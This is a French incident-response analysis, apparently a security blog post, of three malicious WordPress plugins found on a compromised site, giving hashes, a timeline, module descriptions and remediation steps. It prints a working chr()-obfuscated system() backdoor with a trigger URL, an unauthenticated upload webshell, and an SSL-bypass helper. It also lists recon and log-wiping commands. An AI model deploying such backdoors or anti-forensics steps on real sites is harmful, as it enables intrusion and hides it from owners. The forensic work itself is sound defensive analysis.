Contexte de la découverte

Au cours d’une intervention de réponse a incident sur un site WordPress compromis, trois plugins suspects ont été identifiés dans le répertoire wp-content/plugins/. Aucun de ces plugins ne correspond à un plugin officiel WordPress. Leur analyse révèle un dispositif de compromission en couches, déployé sur trois jours.

Plugin Type Taille Sophistication Rôle
flexible-analytics Webshell 196 o Très faible Backdoor furtive à un paramètre
utility-framework-692 Uploader 987 o Faible Upload de fichiers + bypass SSL
wordpress-configurator-optimizer Toolkit 71 842 o Élevée Panneau post-exploitation complet

Chronologie de la compromission

Les horodatages des fichiers (timestamps mtime) permettent de reconstituer la séquence de déploiement. Les trois fichiers ont été déposés entre minuit et une heure du matin, à 24h d’intervalle :

  • 12 juin — 00:58Déploiement du toolkit principal, wordpress-configurator-optimizer.php (71 Ko, 1 516 lignes). Panneau d’administration offensif complet avec authentification, exécution de commandes, création d’administrateurs WordPress, dump de base de données et nettoyage de logs.
  • 13 juin — 00:55Déploiement du webshell d’upload, utility-framework-692.php (987 octets). Formulaire d’upload sans authentification et fonction de bypass SSL.
  • 14 juin — 00:47Déploiement de la backdoor minimale, flexible-analytics.php (196 octets). One-liner obfusqué exécutant des commandes via un paramètre GET.



Plugin 1 : flexible-analytics

Identification

Nom déclaré flexible-analytics
Version 1.0
Fichiers 1 fichier PHP unique (196 octets)
SHA-256 6d63b3aa2b942de7a3305155c17eca26 297cc0f45b8d0da851edafbfb7e308ac
MD5 fb4fa63ee6d405b04933251a56ede88f

Analyse du code

L’intégralité du code tient en une ligne :

<?php
/**
 * Plugin Name: flexible-analytics
 * Version: 1.0
 */
$bleideik=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$rghhbtl=$bleideik;
if(isset($_GET["z960"]))$rghhbtl($_GET["z960"]);

Déobfuscation

La séquence d’appels chr() reconstruit simplement le mot system caractère par caractère : chr(115) = s, chr(121) = y, chr(115) = s, chr(116) = t, chr(101) = e, chr(109) = m. Le code déobfusqué revient donc à : if(isset($_GET["z960"])) system($_GET["z960"]);

L’attaquant exécute alors des commandes système en accédant à une URL du type /wp-content/plugins/flexible-analytics/flexible-analytics.php?z960=id.

Techniques d’obfuscation

  • Construction dynamique du nom de fonction via chr() pour éviter la détection par signature sur le mot-clé system
  • Noms de variables aléatoires ($bleideik, $rghhbtl) pour échapper aux heuristiques

Comportement et objectif

La petite taille et l’absence d’interface font de ce plugin un implant de persistance furtif. Il ne génère aucune sortie en l’absence du paramètre z960, le rendant invisible aux visiteurs et administrateurs en faisant une backdoor de secours, difficile à repérer lors d’un audit de surface.



Plugin 2 : utility-framework-692 Critique

Identification

Nom déclaré Utility Framework 692
Version 1.6.4
Auteur déclaré WP Core (usurpé)
Fichiers 1 fichier PHP unique (987 octets)
SHA-256 cedec18b58cd2092ecf3be0220af55d4 cdbbdf0f4661024864d53fc251efd0f8
MD5 c40dcef89d8be09841a565077ff2ae8c

Analyse du code

Webshell d’upload

echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br>'
  .php_uname()."<br/>"
  .'<form method="post" enctype="multipart/form-data">'
  .'<input type="file" name="__">'
  .'<input name="_" type="submit" value="Upload"></form>';

if($_POST){
  if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){
    echo 'OK';
  } else {
    echo 'ER';
  }
}

Le script affiche les informations système via php_uname() et présente un formulaire d’upload sans aucune authentification. N’importe quel visiteur connaissant l’URL peut uploader un fichier arbitraire sur le serveur. Le fichier est copié avec son nom original dans le répertoire courant, sans aucune vérification de type, d’extension ou de taille.

Fonction de bypass SSL

function ssl_bypass_curl($url, $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // ...
}

La désactivation de la vérification SSL (CURLOPT_SSL_VERIFYPEER et CURLOPT_SSL_VERIFYHOST à false) facilite les communications sortantes vers des serveurs de Command & Control (C2) sans blocage par la vérification de certificat. La fonction n’est pas appelée dans ce fichier mais reste disponible pour des scripts uploadés ultérieurement.

Comportement et objectif

Ce plugin combine deux fonctions : dropper (dépôt de fichiers supplémentaires) et utilitaire réseau (bypass SSL pour les communications sortantes).



Plugin 3 : wordpress-configurator-optimizer Critique

Identification

Nom déclaré WordPress Configurator Optimizer
Version 2.4.1
Auteur déclaré Developer Tools Team (fictif)
URI plugin https://wordpress.org/plugins/wordpress-configurator-optimizer/ (fictif)
Licence GPL v2 (usurpée)
Fichiers 1 fichier PHP unique (71 842 octets, 1 516 lignes)
SHA-256 77cf2af32729c7f3b20592104da12b7d 6bb8e4a747ac3fa800ca6f8bc43f3395
MD5 f27fc453a98f5a1e8bc3c18c2534e3a3
Les métadonnées du plugin imitent délibérément un plugin WordPress légitime (nom générique, URL wordpress.org, licence GPL, description crédible). L’URI du plugin et l’URI de l’auteur ne correspondent à aucun plugin officiel. Ce fichier est l’élément principal de l’arsenal : il s’agit d’un panneau de post-exploitation complet proposant six modules fonctionnels derrière une interface graphique imitant le back-office WordPress.

Module 1, authentification et anti-détection

error_reporting(0);
@ini_set('display_errors', 0);
session_start();

$auth_pass = 'c8a88e504dfc8f35f7369480438bcae7';
$session_name = 'wp_admin_session_' . substr(md5($_SERVER['HTTP_HOST']), 0, 8);

La suppression des erreurs PHP rend le webshell invisible dans les logs d’erreurs. L’accès est protégé par un mot de passe dont le hash MD5 est c8a88e504dfc8f35f7369480438bcae7. Le nom de session est dynamique et préfixé avec wp_admin_session_, permettant un fonctionnement multi-sites sans collision. La page de login imite l’écran de connexion WordPress.

Module 2, moteur d’exécution de commandes (bypass WAF)

Il implémente 10 méthodes distinctes de contournement de WAF pour exécuter des commandes système, même lorsque des fonctions comme system() sont bloquées :

# Methode Technique
1 PHP Filter chains Inclusion via data:// et php://filter
2 Unicode bypass Reconstruction via échappements hexadécimaux et Unicode
3 Variable variables Construction dynamique via variables indirectes
4 Internal functions array_map('chr', [...]) pour reconstruire le nom
5 ReflectionFunction Invocation via l’API de réflection PHP
6 WordPress-specific Abus de wp_remote_get() et WP_Filesystem
7 Encoding chain ROT13, Base64, Hex pour encoder system
8 PHP wrapper abuse Wrappers php://filter, compress.zlib://
9 Fragmentation str_split('system', 2) puis réassemblage
10 Fonctions alternatives Fallback vers shell_exec, exec, passthru, proc_open, popen

En dernier recours, le code tente assert() et eval() avec obfuscation supplémentaire. Cette cascade garantit l’exécution de commandes sur la quasi-totalité des configurations PHP, y compris avec des fonctions partiellement désactivées via disable_functions.

Module 3, création d’administrateurs WordPress

require_once($wp_files['wp_load']);
$user_id = wp_create_user($username, $password, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
// + attribution explicite de 40+ capabilities

Le module charge l’environnement WordPress via wp-load.php, crée un utilisateur, lui attribue le rôle administrator, puis ajoute explicitement plus de 40 capabilities individuelles (dont unfiltered_upload, edit_files, update_core, install_plugins). Ce double mécanisme est une technique de persistance : retirer le rôle ne supprime pas les capabilities, et inversement.

Module 4, dump massif des utilisateurs

Le module :

  • Parse wp-config.php via regex pour extraire les identifiants de base de données
  • Se connecte directement à MySQL via mysqli, contournant l’API WordPress
  • Implémente une pagination par ID avec gestion de lots (batch de 1 000) pour les bases volumineuses
  • Augmente les limites d’exécution (max_execution_time = 600, memory_limit = 512M)
  • Exporte en deux formats : username:email:hash et email:hash (directement utilisable par Hashcat ou John the Ripper)
  • Inclut le fichier wp-config.php complet dans l’archive, exposant tous les secrets (identifiants BDD, clés de salage, secrets d’authentification)
  • Génère une archive ZIP (ou TAR en fallback) téléchargeable

Module 5, upload de fichiers

Upload de fichiers arbitraires dans un répertoire configurable avec chmod 0755 automatique et limite de 100 Mo. Permet le déploiement de malwares supplémentaires.

Module 6, console interactive

Terminal web exécutant les commandes via le moteur de bypass WAF. Inclut des quick commands pré-définis pour la reconnaissance : whoami, ps aux, netstat -an, find / -perm -4000 (recherche de binaires SUID pour l’escalade de privilèges), crontab -l, etc.

Module 7, anti-forensics (Clean Logs)

Un module de nettoyage de traces complet qui tente de :

  • Supprimer tous les fichiers créés par le toolkit (suivis via un log interne tool_wp.log)
  • Effacer les historiques shell (~/.bash_history, ~/.zsh_history)
  • Vider les logs Apache, Nginx et httpd (access.log, error.log)
  • Vider les logs système (/var/log/auth.log, /var/log/syslog, /var/log/messages)
  • Purger le journal systemd (journalctl --vacuum-time=1d)
  • Supprimer les sessions PHP et fichiers temporaires
  • Sur Windows : effacer les journaux d’événements via wevtutil cl, les fichiers temporaires et les logs IIS
Le code indique explicitement que « The shell file itself will NOT be deleted ». La backdoor persiste après le nettoyage des traces.

 

Stratégie de persistance en couches

L’attaquant a déployé trois niveaux de persistance indépendants et complémentaires :

  1. Le toolkit complet (wordpress-configurator-optimizer), outil principal, protégé par mot de passe, contrôle total
  2. Le webshell d’upload (utility-framework-692), point d’entrée secondaire pour re-déployer des outils si le toolkit est supprimé
  3. La backdoor one-liner (flexible-analytics), dernier point de rentrée, minimaliste et furtif, exécutant des commandes même si les deux autres sont découverts



Recommandations

Une fois l’analyse réalisée, voici les recommandations prioritaires que nous avons proposées :
  1. Mettre le site hors ligne (mode maintenance ou coupure de l’accès web)
  2. Sauvegarder l’état actuel : copie complète avant toute modification
  3. Supprimer les trois plugins et vérifier l’absence de tool_wp.log, wp_dump_*.zip, wp_dump_*.tar
  4. Révoquer toutes les sessions WordPress
  5. Changer immédiatement les identifiants de base de données dans wp-config.php
  6. Regénérer les clés de salage WordPress (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY et les SALT)

 

Leave a Reply

Your email address will not be published. Required fields are marked *